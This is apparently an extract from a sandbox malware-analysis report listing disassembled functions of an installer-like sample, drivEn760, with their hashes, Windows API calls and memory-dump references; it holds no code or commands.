API String ID: 3356406503-2410499825
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 52dd0fe420a7c1e2827d1a164217834099ee72e945ce70567094b216899e5676
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: C4017C72500209FADF21CF51DD09EDB3BA8EF54364F01803AFD1AA2190D738D964DBA4

Function 00407194 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
Instruction ID: 10cc2cc0f2c892254e5285b7a8bac4c216a70fda8fb68dfa7c3680dd08f727d3
Opcode Fuzzy Hash: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
Instruction Fuzzy Hash: 55A15571E04228DBDF28CFA8C8547ADBBB1FF44305F10842AD856BB281D778A986DF45

Function 00407395 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
Instruction ID: d49815ad38d406b3cd0a1a90ea7be1526168d9e39684835ffa6a026ef1ef4849
Opcode Fuzzy Hash: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
Instruction Fuzzy Hash: 91913270D04228DBEF28CF98C8547ADBBB1FF44305F14816AD856BB281D778A986DF45

Function 004070AB Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
Instruction ID: 0a676f48c9952aad729ccf503b6a86ce95496029d8c73069f89f3073be052f6e
Opcode Fuzzy Hash: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
Instruction Fuzzy Hash: C3813471D08228DFDF24CFA8C8847ADBBB1FB44305F24816AD456BB281D778A986DF05

Function 00406BB0 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
Instruction ID: 41bbaa2e3590000dceee7c9791d291245bc26db239967492cd44d063337b5de0
Opcode Fuzzy Hash: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
Instruction Fuzzy Hash: 3E814831D08228DBEF28CFA8C8447ADBBB1FF44305F14816AD856B7281D778A986DF45

Function 00406FFE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
Instruction ID: 4a3513360c1d1cc4287bdabe5afcaa460628bed3c0d7ae87261646ca99be8a9f
Opcode Fuzzy Hash: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
Instruction Fuzzy Hash: 0D711271D04228DBEF28CF98C9947ADBBF1FB44305F14806AD856B7280D738A986DF05

Function 0040711C Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
Instruction ID: aecab3f40db1f9fc07a3dc9ea3777efa7aa3d7dc23f88bc09ddd959c6243594a
Opcode Fuzzy Hash: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
Instruction Fuzzy Hash: 2B711571D04228DBEF28CF98C8547ADBBB1FF44305F14806AD856BB281D778A986DF05

Function 00407068 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
Instruction ID: 947ff9f4813c08031b822263453b6bbc7859602ae013fffc9a74d3363ad91bbb
Opcode Fuzzy Hash: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
Instruction Fuzzy Hash: FE713471E04228DBEF28CF98C8547ADBBB1FF44305F15806AD856BB281C778A986DF45

Function 00403479 Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040348D

Part of subcall function 004035F8: SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 004034C0
SetFilePointer.KERNELBASE(003958A8,00000000,00000000,00414EF0,00004000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000), ref: 004035BB

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: b6fa8e05c39a3eb1371992615b1ce168f5932a73c668b0927bcdab247065a340
Instruction ID: 4a0f782daef8a724a5dada35133bb9654e3c612a62d69fcdf17392b9264be50a
Opcode Fuzzy Hash: b6fa8e05c39a3eb1371992615b1ce168f5932a73c668b0927bcdab247065a340
Instruction Fuzzy Hash: 3A31AEB2650205EFC7209F29EE848263BADF70475A755023BE900B22F1C7B59D42DB9D

Function 004020D8 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402103

Part of subcall function 004056CA: lstrlenW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,004030A8,004030A8,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402114
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402191

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 49624561057d65463e648c025d3924b1173f5861ada87d1c47d5b8f7605275f5
Instruction ID: 1e7e134340f86907485d462c64894228b35b3344cd4f3d252167f9901203d809
Opcode Fuzzy Hash: 49624561057d65463e648c025d3924b1173f5861ada87d1c47d5b8f7605275f5
Instruction Fuzzy Hash: C521C231904104FADF11AFA5CF48A9D7A70BF48354F60413BF605B91E0DBBD8A929A5D

Function 00401B9B Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(006EAD70), ref: 00401C0B
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C1D

Part of subcall function 004066A5: lstrcatW.KERNEL32(Delete on reboot: ,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32(Delete on reboot: ,00000000,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,?,00405701,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000), ref: 004068A4

Strings

"C:\Program Files\Everything\Everything.exe", xrefs: 00401BC2, 00401BC8, 00401BE2

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Global$AllocFreelstrcatlstrlen
String ID: "C:\Program Files\Everything\Everything.exe"
API String ID: 3292104215-3939621840
Opcode ID: 74372a43d300f5ce4d3921ebb73e0f6e2787d14c484b1a18c1f78a8614aab33d
Instruction ID: d74cddccbdd50a14e5bf5e3e63826a63b2a65df0fd836753f00777670cd3b466
Opcode Fuzzy Hash: 74372a43d300f5ce4d3921ebb73e0f6e2787d14c484b1a18c1f78a8614aab33d
Instruction Fuzzy Hash: 5321D872904210DBDB20EFA4DEC4E5E73A4AB047157150A3BF542F72D0D6BD9C518BAD

Function 00405D2C Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00406133: GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
Part of subcall function 00406133: SetFileAttributesW.KERNELBASE(?,00000000), ref: 0040614C

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405F0E), ref: 00405D47
DeleteFileW.KERNELBASE(?,?,?,00000000,00405F0E), ref: 00405D4F
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D67

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
Instruction ID: f7500ddcb6900c42920b0fa7cdf939b3a50fd8fb6693fff67202f671924a8b23
Opcode Fuzzy Hash: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
Instruction Fuzzy Hash: 6DE0E531218A9156C3207734AD0CB5B2A98EF86314F09893FF5A2B11E0D77885078AAD

Function 00406AE0 Relevance: 4.5, APIs: 3, Instructions: 27synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000064), ref: 00406AF1
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00406B06
GetExitCodeProcess.KERNELBASE(?,?), ref: 00406B13

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: ObjectSingleWait$CodeExitProcess
String ID:
API String ID: 2567322000-0
Opcode ID: c0daa64154bb0774b0f48346674b492318025e1df3185352ae56c24ee987a067
Instruction ID: dffe0f0baa3edeb4a8159ab808a8d66eaa88359a938bc324e0f181ad12cbd91f
Opcode Fuzzy Hash: c0daa64154bb0774b0f48346674b492318025e1df3185352ae56c24ee987a067
Instruction Fuzzy Hash: 36E09236600118FBDB00AB54DD05E9E7B6ADB45704F114036FA05B6190C6B1AE22DA94

Function 0040459D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000408,?,00000000,004041FC), ref: 004045BB

Strings

x, xrefs: 0040459D

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
